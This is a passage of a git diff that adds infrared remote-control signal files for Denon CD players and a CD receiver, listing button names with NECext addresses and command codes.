08 00 00 00 +command: 6E 00 00 00 +# +name: DISC_- +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6E 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 73 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 7A 00 00 00 +# +name: GROUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 7E 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 7F 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 08 00 00 00 +command: F8 00 00 00 +# +name: SINGLE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: F9 00 00 00 +# +name: MULTI +type: parsed +protocol: NECext +address: 08 00 00 00 +command: FA 00 00 00 +# +name: ZONE_1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: FB 00 00 00 +# +name: ZONE_2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: FC 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: FD 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: FE 00 00 00 +# +name: TRACK/CAPS +type: parsed +protocol: NECext +address: 08 00 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/CD Player/168,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/CD Player/168,-1.ir new file mode 100644 index 000000000..aba9bd159 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/CD Player/168,-1.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 09 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 10 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 11 00 00 00 +# +name: CHP/TM +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 13 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 16 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 17 00 00 00 +# +name: PAUSE_ +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 18 00 00 00 +# +name: MEMORY_REVIEW +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 19 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 19 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 1C 00 00 00 +# +name: AUDIO_D/A +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 1E 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 1F 00 00 00 +# +name: SCAN_REVERSE_(F.S.) +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 2B 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 43 00 00 00 +# +name: BLANK_KEY +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 44 00 00 00 +# +name: CLEAR_(C) +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 45 00 00 00 +# +name: REPEAT_A/B +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 48 00 00 00 +# +name: PGM +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 4C 00 00 00 +# +name: DISC_SIDE_A +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 4D 00 00 00 +# +name: DISC_SIDE_B +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 4E 00 00 00 +# +name: STEP_< +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 50 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 52 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 53 00 00 00 +# +name: STEP_> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 54 00 00 00 +# +name: MULTI-SPEED_< +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 55 00 00 00 +# +name: MULTI-SPEED_> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 58 00 00 00 +# +name: HILITE/INTRO +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 5A 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/CD Player/175,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/CD Player/175,-1.ir new file mode 100644 index 000000000..51c22a923 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/CD Player/175,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: E2 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: E3 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/CD Player/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/CD Player/4,-1.ir new file mode 100644 index 000000000..5edc9e794 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/CD Player/4,-1.ir @@ -0,0 +1,44 @@ +Filetype: IR signals file +Version: 1 +# +name: REPEAT_OFF +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C0 00 00 00 +# +name: MODE_OFF +type: parsed +protocol: NECext +address: 04 00 00 00 +command: FA 00 00 00 +# +name: CROSS_FADE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: FB 00 00 00 +# +name: ALL_DISCS +type: parsed +protocol: NECext +address: 04 00 00 00 +command: FC 00 00 00 +# +name: 1_DISC +type: parsed +protocol: NECext +address: 04 00 00 00 +command: FD 00 00 00 +# +name: REPEAT_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: FE 00 00 00 +# +name: BEST_HIT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/CD Player/6,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/CD Player/6,-1.ir new file mode 100644 index 000000000..352baaa08 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/CD Player/6,-1.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: STROBE +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 41 00 00 00 +# +name: DIGITAL_FNR +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 42 00 00 00 +# +name: STILL_&_SOUND +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 43 00 00 00 +# +name: ART +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 57 00 00 00 +# +name: SIDE_A +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 76 00 00 00 +# +name: SIDE_B +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 77 00 00 00 +# +name: JOG_REV +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 79 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 81 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 82 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 83 00 00 00 +# +name: PLAY>/PAUSE +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 84 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 86 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 87 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 88 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 89 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 8A 00 00 00 +# +name: CALL +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 8B 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 8E 00 00 00 +# +name: A/B +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 8F 00 00 00 +# +name: SEARCH_MODE +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 90 00 00 00 +# +name: DIGITAL/ANALOG/CX +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 91 00 00 00 +# +name: AUDIO_MONITOR +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 92 00 00 00 +# +name: ON_SCREEN +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 93 00 00 00 +# +name: INTRO_SCAN +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 94 00 00 00 +# +name: MULTI_SPEED_> +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 98 00 00 00 +# +name: MULTI_SPEED_< +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 99 00 00 00 +# +name: STROBE_+ +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 9A 00 00 00 +# +name: STROBE_- +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 9B 00 00 00 +# +name: > +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 9C 00 00 00 +# +name: < +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 9D 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 9E 00 00 00 +# +name: AUTO_SPACE +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 9F 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: A0 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: A1 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: A2 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: A3 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: A4 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: A5 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: A6 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: A8 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: A9 00 00 00 +# +name: SINGLE +type: parsed +protocol: NECext +address: 06 00 00 00 +command: B1 00 00 00 +# +name: JOG_FWD +type: parsed +protocol: NECext +address: 06 00 00 00 +command: B9 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/CD Player/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/CD Player/8,-1.ir new file mode 100644 index 000000000..296cde8c1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/CD Player/8,-1.ir @@ -0,0 +1,956 @@ +Filetype: IR signals file +Version: 1 +# +name: DOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 40 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 41 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 41 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 41 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 42 00 00 00 +# +name: 1_TRACK_NUMBER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 42 00 00 00 +# +name: 0/10 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 42 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 43 00 00 00 +# +name: 2_TRACK_NUMBER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 43 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 43 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 44 00 00 00 +# +name: 3_TRACK_NUMBER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 44 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 44 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 45 00 00 00 +# +name: 4_TRACK_NUMBER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 45 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 46 00 00 00 +# +name: 5_TRACK_NUMBER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 46 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 47 00 00 00 +# +name: 6_TRACK_NUMBER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 47 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 48 00 00 00 +# +name: 7_TRACK_NUMBER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 48 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 49 00 00 00 +# +name: 8_TRACK_NUMBER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 49 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4A 00 00 00 +# +name: 9_TRACK_NUMBER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4A 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4B 00 00 00 +# +name: 10_TRACK_NUMBER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4B 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4C 00 00 00 +# +name: 10+ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4C 00 00 00 +# +name: +10_TRACK_NUMBER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4C 00 00 00 +# +name: PROG/DIRECT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4D 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4D 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4D 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4D 00 00 00 +# +name: PROGRAM/DIRECT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4D 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4E 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4E 00 00 00 +# +name: VOLUME+ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4E 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4F 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4F 00 00 00 +# +name: VOLUME- +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4F 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 50 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 50 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 51 00 00 00 +# +name: FT_FILE_CLEAR +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 51 00 00 00 +# +name: CALL +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 52 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 52 00 00 00 +# +name: CHECK +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 52 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 53 00 00 00 +# +name: TIME_MODE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 53 00 00 00 +# +name: TIME/TEXT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 53 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 54 00 00 00 +# +name: REPEAT_ALL +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 54 00 00 00 +# +name: ALL +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 54 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 55 00 00 00 +# +name: A-B_REPEAT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 55 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 56 00 00 00 +# +name: DIRECT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 57 00 00 00 +# +name: CONTINUE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 57 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 58 00 00 00 +# +name: TRACK_>> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 58 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 58 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 58 00 00 00 +# +name: SKIP_FWD_>> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 58 00 00 00 +# +name: >>I +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 58 00 00 00 +# +name: AUTO_SEARCH_>> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 58 00 00 00 +# +name: TRACK_+ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 58 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 59 00 00 00 +# +name: TRACK_<< +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 59 00 00 00 +# +name: PREV. +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 59 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 59 00 00 00 +# +name: SKIP_REW_<< +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 59 00 00 00 +# +name: I<< +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 59 00 00 00 +# +name: AUTO_SEARCH_<< +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 59 00 00 00 +# +name: TRACK_- +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 59 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5A 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5A 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5A 00 00 00 +# +name: SCAN_+ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5A 00 00 00 +# +name: FFWD_>> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5A 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5B 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5B 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5B 00 00 00 +# +name: SCAN_- +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5B 00 00 00 +# +name: REW_<< +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5B 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5C 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5C 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5D 00 00 00 +# +name: PAUSE_ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5D 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5E 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5E 00 00 00 +# +name: TIME_SEARCH +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 60 00 00 00 +# +name: AUTO_SPACE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 61 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 61 00 00 00 +# +name: AUTO_SPACE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 61 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 61 00 00 00 +# +name: A_SPACE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 61 00 00 00 +# +name: REPEAT_1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 62 00 00 00 +# +name: DISC_SELECT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 62 00 00 00 +# +name: AUTO_EDIT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 63 00 00 00 +# +name: DISC_1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 64 00 00 00 +# +name: 1_DISC_NUMBER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 64 00 00 00 +# +name: 1_DISC_NO/STORE_NO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 64 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 65 00 00 00 +# +name: 2_DISC_NUMBER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 65 00 00 00 +# +name: 2_DISC_NO/STORE_NO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 65 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 66 00 00 00 +# +name: 3_DISC_NUMBER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 66 00 00 00 +# +name: 3_DISC_NO/STORE_NO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 66 00 00 00 +# +name: DISC_4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 67 00 00 00 +# +name: 4_DISC_NUMBER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 67 00 00 00 +# +name: 4_DISC_NO/STORE_NO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 67 00 00 00 +# +name: DISC_5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 68 00 00 00 +# +name: 5_DISC_NUMBER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 68 00 00 00 +# +name: 5_DISC_NO/STORE_NO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 68 00 00 00 +# +name: DISC_6 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 69 00 00 00 +# +name: 6_DISC_NUMBER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 69 00 00 00 +# +name: 6_DISC_NO/STORE_NO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 69 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6A 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6A 00 00 00 +# +name: RAMDOM +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6A 00 00 00 +# +name: DISC_SKIP_+ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6B 00 00 00 +# +name: DISC_+ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6B 00 00 00 +# +name: DISC_- +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6B 00 00 00 +# +name: DISC_SKIP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6B 00 00 00 +# +name: DISC_SKIP+ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6B 00 00 00 +# +name: DISC_SKIP_UP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6B 00 00 00 +# +name: TRACK_>> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6B 00 00 00 +# +name: FILE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6C 00 00 00 +# +name: FILE-FT_FILE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6C 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6C 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6D 00 00 00 +# +name: DISC_SKIP_- +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6E 00 00 00 +# +name: DISC_- +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6E 00 00 00 +# +name: DISC_SKIP- +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6E 00 00 00 +# +name: DISC_SKIP_DN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6E 00 00 00 +# +name: TRACK_<< +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6E 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 73 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 75 00 00 00 +# +name: DISPLAY_SELECT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 75 00 00 00 +# +name: FADER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 76 00 00 00 +# +name: PITCH_+ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 77 00 00 00 +# +name: PITCH_- +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 78 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 7A 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 7D 00 00 00 +# +name: GROUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 7E 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 7F 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 08 00 00 00 +command: F8 00 00 00 +# +name: SINGLE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: F9 00 00 00 +# +name: MULTI +type: parsed +protocol: NECext +address: 08 00 00 00 +command: FA 00 00 00 +# +name: ZONE_1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: FB 00 00 00 +# +name: ZONE_2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: FC 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: FD 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: FE 00 00 00 +# +name: TRACK/CAPS +type: parsed +protocol: NECext +address: 08 00 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/CD Receiver/12,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/CD Receiver/12,-1.ir new file mode 100644 index 000000000..e8289efa6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/CD Receiver/12,-1.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 4B 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 4C 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 4D 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 50 00 00 00 +# +name: SOURCE_TUNER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 59 00 00 00 +# +name: SOURCE_CD +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 5A 00 00 00 +# +name: SOURCE_LINE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 5F 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 68 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 72 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 7A 00 00 00 +# +name: TIME/DISPLAY +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: CF 00 00 00 +# +name: ENTER/MEMO +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D1 00 00 00 +# +name: DAB/RDS +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D2 00 00 00 +# +name: CLOCK +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D3 00 00 00 +# +name: PTY +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D4 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/CD 